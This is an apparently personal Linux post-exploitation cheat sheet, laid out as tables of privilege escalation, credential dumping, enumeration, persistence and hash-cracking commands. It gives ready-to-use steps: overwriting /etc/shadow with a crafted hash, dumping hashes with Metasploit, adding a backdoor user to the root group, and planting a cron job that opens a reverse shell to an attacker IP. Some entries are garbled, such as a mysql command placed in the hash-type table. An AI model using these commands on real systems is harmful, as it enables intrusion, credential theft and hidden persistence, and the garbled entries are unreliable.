Post-Exploitation

Privilege Escalation

Escalation Vector	Tools
Missing Patch Enumeration	Linux-Exploit-Suggester
Misconfigured Cron Jobs	/
SUID Binaries (Perms)	find / -user root -perm -4000 -exec ls -ldb {} \; find / -not -type l -perm -o+w If /etc/shadow editable: • openssl passwd -1 -salt abc *{password}* • nano /etc/shadow → Paste hash sudo -l → Look for (root) NOPASSWD
chkrootkit	MSF chkrootkit
Kernel	Dirty Cow CVE-2016-5195

Credential Dumping

Tool	Purpose
MSF – gather/hashdump	Hashdump

Internal Enumeration

MSF Module | CMD		
enum_configs	enum_system	ecryptfs_creds
/agther/env	checkcontainer	enum_psk
enum_network	sshkey_persistence	enum_hexchat
enum_protections	enum_users_history	phpmyadmin_credsteal
ssh_creds	docker_creds	pptpd_chap_secrets
cat /etc/*release	uname -a	groups *{username}*
lastlog	cat /etc/networks	cat /etc/hosts
ls -al /etc/cron*	linenum https://github.com/rebootuser/LinEnum	

Persistence

Method	Usage
Backdoor User	• useradd -m *{name}* /bin/bash • passwd *{name}* • usermod -aG root *{name}*
MSF sshkey_persistence	• CREATESSHFOLDER → True • Save private key • chmod 0400 *{keyFile_name}* • ssh -i *{keyFile_name} username@IP*
Cron Persistence	• echo "* * * * * /bin/bash -c 'bash -i>&/dev/tcp/*{AttackerIP}*/*{Port}* 0>&1" > cron • crontab -i cron

Hash Cracking

Tool	Purpose
MSF analyze/crack_linux	HashCrack
john --format=sha512crypt *{PathTo_HashFile}* --wordlist *{PathTo_Rockyou}*(If needed)	HashCrack
hashcat -a3 -m *{HashID – 1800 if 512}* *{PathTo_HashFile}* --wordlist *{PathTo_Rockyou}*(If needed)	HashCrack

Value	Hashing Algorithm
$1	MD5
$2	Blowfish
$5 mysql -u root -p	SHA-256
$6	SHA-512